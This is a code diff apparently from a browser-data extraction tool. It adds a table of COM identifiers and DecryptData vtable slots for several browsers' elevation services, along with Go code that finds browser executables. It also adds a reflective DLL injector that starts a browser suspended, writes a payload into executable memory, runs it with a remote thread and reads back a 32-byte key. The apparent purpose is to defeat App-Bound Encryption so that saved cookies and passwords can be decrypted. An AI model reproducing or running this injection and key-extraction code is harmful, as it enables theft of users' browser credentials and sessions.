{ 0x8F7B6792, 0x784D, 0x4047, { 0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05 } },
},
// CocCoc Browser
// Service: CocCocElevationService
// CLSID: {77358251-489E-46F6-AAD6-1D41B89FEF01}
// v1 IID: {0E9BCC98-8138-417A-83C3-4D4AAFED6316} IElevatorCocCoc
// v2 IID: {7E26AA1D-1A19-4538-9780-D0B6A1A693E5} IElevator2CocCoc
// (extracted via LoadTypeLibEx on elevation_service.exe)
{
"browser.exe", BROWSER_CHROME_BASE,
{ 0x77358251, 0x489E, 0x46F6, { 0xAA, 0xD6, 0x1D, 0x41, 0xB8, 0x9F, 0xEF, 0x01 } },
{ 0x0E9BCC98, 0x8138, 0x417A, { 0x83, 0xC3, 0x4D, 0x4A, 0xAF, 0xED, 0x63, 0x16 } },
TRUE,
{ 0x7E26AA1D, 0x1A19, 0x4538, { 0x97, 0x80, 0xD0, 0xB6, 0xA1, 0xA6, 0x93, 0xE5 } },
},
// Avast Secure Browser
// CLSID: {EAD34EE8-8D08-4CA1-ADA3-64754374D811}
// IID: {7737BB9F-BAC1-4C71-A696-7C82D7994B6F} IAvastElevator
{
"avastbrowser.exe", BROWSER_AVAST,
{ 0xEAD34EE8, 0x8D08, 0x4CA1, { 0xAD, 0xA3, 0x64, 0x75, 0x43, 0x74, 0xD8, 0x11 } },
{ 0x7737BB9F, 0xBAC1, 0x4C71, { 0xA6, 0x96, 0x7C, 0x82, 0xD7, 0x99, 0x4B, 0x6F } },
FALSE,
{ 0 },
},
{ NULL, BROWSER_UNKNOWN, { 0 }, { 0 }, FALSE, { 0 } },
};
static char ascii_tolower(char c) {
return (c >= 'A' && c <= 'Z') ? (char)(c - 'A' + 'a') : c;
}
static int iequal_ascii(const char *a, const char *b) {
for (; *a && *b; ++a, ++b) {
if (ascii_tolower(*a) != ascii_tolower(*b)) return 0;
}
return *a == *b;
}
const BrowserComIds *LookupBrowserByExe(const char *exe_basename) {
if (!exe_basename) {
return NULL;
}
for (const BrowserComIds *p = kBrowsers; p->exe_basename != NULL; ++p) {
if (iequal_ascii(p->exe_basename, exe_basename)) {
return p;
}
}
return NULL;
}
unsigned int DecryptDataVtblIndex(BrowserKind kind) {
switch (kind) {
case BROWSER_CHROME_BASE:
return 5;
case BROWSER_EDGE:
return 8;
case BROWSER_AVAST:
return 13;
default:
return 0;
}
}
+29
View File
@@ -0,0 +1,29 @@
// SPDX-License-Identifier: Apache-2.0
#ifndef HBD_ABE_COM_IID_H
#define HBD_ABE_COM_IID_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
typedef enum BrowserKind {
BROWSER_UNKNOWN = 0,
BROWSER_CHROME_BASE, // DecryptData at vtable slot 5
BROWSER_EDGE, // DecryptData at vtable slot 8
BROWSER_AVAST, // DecryptData at vtable slot 13
} BrowserKind;
typedef struct BrowserComIds {
const char *exe_basename;
BrowserKind kind;
GUID clsid;
GUID iid_v1;
BOOL has_iid_v2;
GUID iid_v2;
} BrowserComIds;
const BrowserComIds *LookupBrowserByExe(const char *exe_basename);
unsigned int DecryptDataVtblIndex(BrowserKind kind);
#endif // HBD_ABE_COM_IID_H
+1 -1
View File
@@ -86,7 +86,7 @@ type BrowserConfig struct {
Key string // lookup key: "chrome", "edge", "firefox"
Name string // display name: "Chrome", "Edge", "Firefox"
Kind BrowserKind // engine type
Storage string // keychain/GNOME label (macOS/Linux); unused on Windows
Storage string // macOS/Linux: keychain/GNOME label. Windows: ABE browser key (triggers reflective injection when populated).
UserDataDir string // base browser directory
}
+116
View File
@@ -0,0 +1,116 @@
//go:build windows
package browserutil
import (
"errors"
"fmt"
"os"
"path/filepath"
"golang.org/x/sys/windows/registry"
)
var ErrExecutableNotFound = errors.New("browser executable not found")
type browserLocation struct {
exeName string
fallbacks []string
}
var browserLocations = map[string]browserLocation{
"chrome": {
exeName: "chrome.exe",
fallbacks: []string{
`%ProgramFiles%\Google\Chrome\Application\chrome.exe`,
`%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`,
`%LocalAppData%\Google\Chrome\Application\chrome.exe`,
},
},
"chrome-beta": {
exeName: "chrome.exe",
fallbacks: []string{
`%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`,
`%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`,
`%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`,
},
},
"edge": {
exeName: "msedge.exe",
fallbacks: []string{
`%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`,
`%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`,
},
},
"brave": {
exeName: "brave.exe",
fallbacks: []string{
`%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`,
`%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`,
`%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`,
},
},
"coccoc": {
exeName: "browser.exe",
fallbacks: []string{
`%ProgramFiles%\CocCoc\Browser\Application\browser.exe`,
`%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`,
`%LocalAppData%\CocCoc\Browser\Application\browser.exe`,
},
},
}
func ExecutablePath(browserKey string) (string, error) {
loc, ok := browserLocations[browserKey]
if !ok {
return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey)
}
if p, err := appPathsLookup(loc.exeName, registry.LOCAL_MACHINE); err == nil {
return p, nil
}
if p, err := appPathsLookup(loc.exeName, registry.CURRENT_USER); err == nil {
return p, nil
}
for _, candidate := range loc.fallbacks {
expanded := os.ExpandEnv(candidate)
if fileExists(expanded) {
return expanded, nil
}
}
return "", fmt.Errorf("%w: %q (registry miss and no fallback match)",
ErrExecutableNotFound, browserKey)
}
func appPathsLookup(exeName string, root registry.Key) (string, error) {
sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName
k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE)
if err != nil {
return "", err
}
defer k.Close()
v, _, err := k.GetStringValue("")
if err != nil {
return "", err
}
v = unquote(v)
if !fileExists(v) {
return "", fmt.Errorf("registry path does not exist: %s", v)
}
return filepath.Clean(v), nil
}
func fileExists(path string) bool {
info, err := os.Stat(path)
return err == nil && !info.IsDir()
}
func unquote(s string) string {
if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' {
return s[1 : len(s)-1]
}
return s
}
+32
View File
@@ -0,0 +1,32 @@
//go:build windows
package injector
import (
"bytes"
"debug/pe"
"fmt"
)
type Arch string
const (
ArchAMD64 Arch = "amd64"
Arch386 Arch = "386"
ArchUnknown Arch = "unknown"
)
func DetectPEArch(peBytes []byte) (Arch, error) {
f, err := pe.NewFile(bytes.NewReader(peBytes))
if err != nil {
return ArchUnknown, fmt.Errorf("parse PE: %w", err)
}
switch f.Machine {
case pe.IMAGE_FILE_MACHINE_AMD64:
return ArchAMD64, nil
case pe.IMAGE_FILE_MACHINE_I386:
return Arch386, nil
default:
return ArchUnknown, nil
}
}
+173
View File
@@ -0,0 +1,173 @@
//go:build windows
package injector
import (
"bytes"
"debug/pe"
"encoding/binary"
"fmt"
)
func FindExportFileOffset(dllBytes []byte, exportName string) (uint32, error) {
rva, err := findExportRVA(dllBytes, exportName)
if err != nil {
return 0, err
}
f, err := pe.NewFile(bytes.NewReader(dllBytes))
if err != nil {
return 0, fmt.Errorf("parse PE: %w", err)
}
off, ok := rvaToFileOffset(f, rva)
if !ok {
return 0, fmt.Errorf("RVA 0x%x (%s) has no raw file mapping", rva, exportName)
}
return off, nil
}
func findExportRVA(dllBytes []byte, exportName string) (uint32, error) {
view, err := loadExportSection(dllBytes)
if err != nil {
return 0, err
}
edOff, err := view.rvaToOff(view.dirRVA)
if err != nil {
return 0, err
}
var ed imageExportDirectory
if err := binary.Read(bytes.NewReader(view.raw[edOff:]), binary.LittleEndian, &ed); err != nil {
return 0, fmt.Errorf("read export directory: %w", err)
}
if ed.NumberOfNames == 0 {
return 0, fmt.Errorf("PE has no named exports")
}
return findNamedExport(view, &ed, exportName)
}
func rvaToFileOffset(f *pe.File, rva uint32) (uint32, bool) {
for _, s := range f.Sections {
if rva >= s.VirtualAddress && rva < s.VirtualAddress+s.VirtualSize {
return rva - s.VirtualAddress + s.Offset, true
}
}
return 0, false
}
type exportSectionView struct {
raw []byte
sectBase uint32
sectSize uint32
sectName string
dirRVA uint32
dirSize uint32
}
func (v *exportSectionView) rvaToOff(rva uint32) (uint32, error) {
if rva < v.sectBase || rva >= v.sectBase+v.sectSize {
return 0, fmt.Errorf("RVA 0x%x outside section %q", rva, v.sectName)
}
off := rva - v.sectBase
if int(off) >= len(v.raw) {
return 0, fmt.Errorf("RVA 0x%x beyond raw section data", rva)
}
return off, nil
}
func loadExportSection(dllBytes []byte) (*exportSectionView, error) {
f, err := pe.NewFile(bytes.NewReader(dllBytes))
if err != nil {
return nil, fmt.Errorf("parse PE: %w", err)
}
oh, ok := f.OptionalHeader.(*pe.OptionalHeader64)
if !ok {
return nil, fmt.Errorf("expected PE32+ (64-bit) image")
}
if len(oh.DataDirectory) == 0 {
return nil, fmt.Errorf("PE has no data directories")
}
exp := oh.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT]
if exp.Size == 0 || exp.VirtualAddress == 0 {
return nil, fmt.Errorf("PE has no export directory")
}
sect := findSectionForRVA(f, exp.VirtualAddress)
if sect == nil {
return nil, fmt.Errorf("export directory RVA 0x%x not in any section", exp.VirtualAddress)
}
raw, err := sect.Data()
if err != nil {
return nil, fmt.Errorf("read section %q: %w", sect.Name, err)
}
return &exportSectionView{
raw: raw,
sectBase: sect.VirtualAddress,
sectSize: sect.VirtualSize,
sectName: sect.Name,
dirRVA: exp.VirtualAddress,
dirSize: exp.Size,
}, nil
}
func findNamedExport(view *exportSectionView, ed *imageExportDirectory, name string) (uint32, error) {
namesOff, err := view.rvaToOff(ed.AddressOfNames)
if err != nil {
return 0, err
}
funcsOff, err := view.rvaToOff(ed.AddressOfFunctions)
if err != nil {
return 0, err
}
ordOff, err := view.rvaToOff(ed.AddressOfNameOrdinals)
if err != nil {
return 0, err
}
for i := uint32(0); i < ed.NumberOfNames; i++ {
nameRVA := binary.LittleEndian.Uint32(view.raw[namesOff+i*4 : namesOff+i*4+4])
nameOff, err := view.rvaToOff(nameRVA)
if err != nil {
continue
}
if readCString(view.raw[nameOff:]) != name {
continue
}
ord := binary.LittleEndian.Uint16(view.raw[ordOff+i*2 : ordOff+i*2+2])
fnSlot := funcsOff + uint32(ord)*4
if int(fnSlot)+4 > len(view.raw) {
return 0, fmt.Errorf("function slot for %q out of range", name)
}
return binary.LittleEndian.Uint32(view.raw[fnSlot : fnSlot+4]), nil
}
return 0, fmt.Errorf("export %q not found", name)
}
type imageExportDirectory struct {
Characteristics uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
Name uint32
Base uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
func findSectionForRVA(f *pe.File, rva uint32) *pe.Section {
for _, s := range f.Sections {
if rva >= s.VirtualAddress && rva < s.VirtualAddress+s.VirtualSize {
return s
}
}
return nil
}
func readCString(b []byte) string {
for i, c := range b {
if c == 0 {
return string(b[:i])
}
}
return string(b)
}
+308
View File
@@ -0,0 +1,308 @@
//go:build windows
package injector
import (
"encoding/binary"
"fmt"
"os"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
type Reflective struct {
WaitTimeout time.Duration
}
const (
exportName = "Bootstrap"
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
defaultWait = 30 * time.Second
terminateWait = 2 * time.Second
// Keep in sync with bootstrap.h.
bootstrapMarkerOffset = 0x28
bootstrapKeyStatusOffset = 0x29
bootstrapKeyOffset = 0x40
bootstrapKeyLen = 32
bootstrapKeyStatusReady = 0x01
)
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
if len(payload) == 0 {
return nil, fmt.Errorf("injector: empty payload")
}
if exePath == "" {
return nil, fmt.Errorf("injector: empty exePath")
}
loaderRVA, err := validateAndLocateLoader(payload)
if err != nil {
return nil, err
}
patched, err := patchPreresolvedImports(payload)
if err != nil {
return nil, err
}
restore := setEnvTemporarily(env)
defer restore()
pi, err := spawnSuspended(exePath)
if err != nil {
return nil, err
}
defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread)
terminated := false
defer func() {
if !terminated {
_ = windows.TerminateProcess(pi.Process, 1)
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
}
}()
remoteBase, err := writeRemotePayload(pi.Process, patched)
if err != nil {
return nil, err
}
// Resume briefly so ntdll loader init completes before we hijack a thread;
// Bootstrap itself is self-contained but the later elevation_service COM
// call inside the payload relies on a fully-initialized PEB.
_, _ = windows.ResumeThread(pi.Thread)
time.Sleep(500 * time.Millisecond)
if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil {
return nil, err
}
// Read output before TerminateProcess — after kill the memory is gone.
status, key := readScratch(pi.Process, remoteBase)
_ = windows.TerminateProcess(pi.Process, 0)
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
terminated = true
if status != bootstrapKeyStatusReady {
marker := readMarker(pi.Process, remoteBase)
return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)",
status, marker)
}
return key, nil
}
func (r *Reflective) wait() time.Duration {
if r.WaitTimeout > 0 {
return r.WaitTimeout
}
return defaultWait
}
func validateAndLocateLoader(payload []byte) (uint32, error) {
arch, err := DetectPEArch(payload)
if err != nil {
return 0, fmt.Errorf("injector: detect payload arch: %w", err)
}
if arch != ArchAMD64 {
return 0, fmt.Errorf("injector: only amd64 payload is supported (got %s)", arch)
}
off, err := FindExportFileOffset(payload, exportName)
if err != nil {
return 0, fmt.Errorf("injector: locate %s: %w", exportName, err)
}
return off, nil
}
func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
exePtr, err := syscall.UTF16PtrFromString(exePath)
if err != nil {
return nil, fmt.Errorf("injector: exe path: %w", err)
}
si := &windows.StartupInfo{}
pi := &windows.ProcessInformation{}
if err := windows.CreateProcess(
exePtr, nil, nil, nil,
false,
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
nil, nil, si, pi,
); err != nil {
return nil, fmt.Errorf("injector: CreateProcess: %w", err)
}
return pi, nil
}
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
remoteBase, _, callErr := procVirtualAllocEx.Call(
uintptr(proc), 0,
uintptr(len(payload)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_EXECUTE_READWRITE),
)
if remoteBase == 0 {
return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr)
}
var written uintptr
r1, _, callErr := procWriteProcessMemory.Call(
uintptr(proc), remoteBase,
uintptr(unsafe.Pointer(&payload[0])),
uintptr(len(payload)),
uintptr(unsafe.Pointer(&written)),
)
if r1 == 0 {
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr)
}
if int(written) != len(payload) {
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
}
return remoteBase, nil
}
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
entry := remoteBase + uintptr(loaderRVA)
hThread, _, callErr := procCreateRemoteThread.Call(
uintptr(proc),
0, 0, entry, 0, 0, 0,
)
if hThread == 0 {
return fmt.Errorf("injector: CreateRemoteThread: %w", callErr)
}
defer windows.CloseHandle(windows.Handle(hThread))
_, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
return nil
}
func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var sb [1]byte
var n uintptr
r, _, _ := procReadProcessMemory.Call(
uintptr(proc),
remoteBase+uintptr(bootstrapKeyStatusOffset),
uintptr(unsafe.Pointer(&sb[0])),
1,
uintptr(unsafe.Pointer(&n)),
)
if r == 0 {
return 0, nil
}
status = sb[0]
if status != bootstrapKeyStatusReady {
return status, nil
}
buf := make([]byte, bootstrapKeyLen)
r, _, _ = procReadProcessMemory.Call(
uintptr(proc),
remoteBase+uintptr(bootstrapKeyOffset),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(bootstrapKeyLen),
uintptr(unsafe.Pointer(&n)),
)
if r == 0 || int(n) != bootstrapKeyLen {
return status, nil
}
return status, buf
}
func readMarker(proc windows.Handle, remoteBase uintptr) byte {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var b [1]byte
var n uintptr
r, _, _ := procReadProcessMemory.Call(
uintptr(proc),
remoteBase+uintptr(bootstrapMarkerOffset),
uintptr(unsafe.Pointer(&b[0])),
1,
uintptr(unsafe.Pointer(&n)),
)
if r == 0 {
return 0
}
return b[0]
}
// patchPreresolvedImports writes five pre-resolved Win32 function pointers
// into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely.
// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
// share the same virtual address across processes in one boot session).
func patchPreresolvedImports(payload []byte) ([]byte, error) {
if len(payload) < 0x68 {
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr()
pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr()
pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr()
pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr()
pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr()
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
pVirtualProtect == 0 || pNtFlushIC == 0 {
return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports")
}
patched := make([]byte, len(payload))
copy(patched, payload)
writeAddr := func(off int, addr uintptr) {
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
}
writeAddr(0x40, pLoadLibraryA)
writeAddr(0x48, pGetProcAddress)
writeAddr(0x50, pVirtualAlloc)
writeAddr(0x58, pVirtualProtect)
writeAddr(0x60, pNtFlushIC)
return patched, nil
}
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe.
// Callers must serialize Inject calls.
func setEnvTemporarily(env map[string]string) func() {
if len(env) == 0 {
return func() {}
}
type prev struct {
key string
value string
set bool
}
saved := make([]prev, 0, len(env))
for k, v := range env {
old, existed := os.LookupEnv(k)
saved = append(saved, prev{key: k, value: old, set: existed})
_ = os.Setenv(k, v)
}
return func() {
for _, p := range saved {
if p.set {
_ = os.Setenv(p.key, p.value)
} else {
_ = os.Unsetenv(p.key)
}
}
}
}
+5
View File
@@ -0,0 +1,5 @@
package injector
type Strategy interface {
Inject(exePath string, payload []byte, env map[string]string) ([]byte, error)
}